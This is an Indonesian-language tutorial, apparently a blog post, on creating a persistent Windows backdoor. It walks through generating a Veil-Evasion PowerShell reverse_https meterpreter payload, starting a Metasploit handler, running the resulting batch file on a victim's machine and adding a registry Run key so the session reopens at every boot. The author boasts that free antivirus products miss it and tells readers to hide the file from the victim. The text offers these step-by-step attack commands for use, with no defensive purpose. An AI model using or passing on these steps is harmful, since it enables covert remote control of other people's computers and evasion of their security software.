Persistence Backdoor Menggunakan Powershell

Persistence Backdoor adalah backdoor dibuat dalam metasploit yang akan tetap terbuka meskipun komputer korban dimatikan atau restart. salah satunya adalah meterpreter sesi baru akan terbuka saat komputer korban dihidupkan. sehingga lebih mudah untuk memproses dalam peretasan komputer.

o iya. ini ga kedetek virus. untuk antivirus free seperti avast , avira, avg, smadav udh dicoba ga kedetek.

awesome pokok nya.

Kita perlu tools di linux. yang namanya Veil-Evasion.

Pertama buka Veil-Evasion. Dengan Ketik ./Veil-Evasion.py di terminal.

Pilih powershell/meterpreter/rev_https. type use 23

Cehek Ip dengan Ketik ifconfig

set LHOST “Your Local IP”. Contoh= set LHOST 192.168.10.211

Set LPORT 9999

info

Generate dan buat nama dengan nama: backdoor

tekan enter

Buka Metasploit.

use exploit/multi/handler

Ketik payload windows/meterpreter/reverse_https

set LHOST “Your Local IP”. contoh= set LHOST 192.168.10.211

set LPORT 9999

exploit

Copy backdoor.bat ke target. dan run.

Maka akan ada open meterpreter session.

Check lokasi backdoornya bro. saat ini letaknya di desktop. kmu bisa pindahin lokasinya diaman aja. yg penting ga ketauan sama si korban.

Ketik ini di terminal. reg setval -k HKLM\\Software\\Microsoft\\Windows\\CurentVersion\\Run -v 9999 -d “location a backdoor.bat”

contoh nya= reg setval -k HKLM\\Software\\Microsoft\\Windows\\CurentVersion\\Run -v 9999 -d c:\\Users\\HRD-Andim\\Desktop\\backdoor.bat

Jika sukses. kamu kamu bisa lihat di registrinya seperti ini nih.
yang udh kamu buat tadi nongolnya di sini. ini gunanya untuk buat backdoor selalu terbuka saat komputer di hidupkan.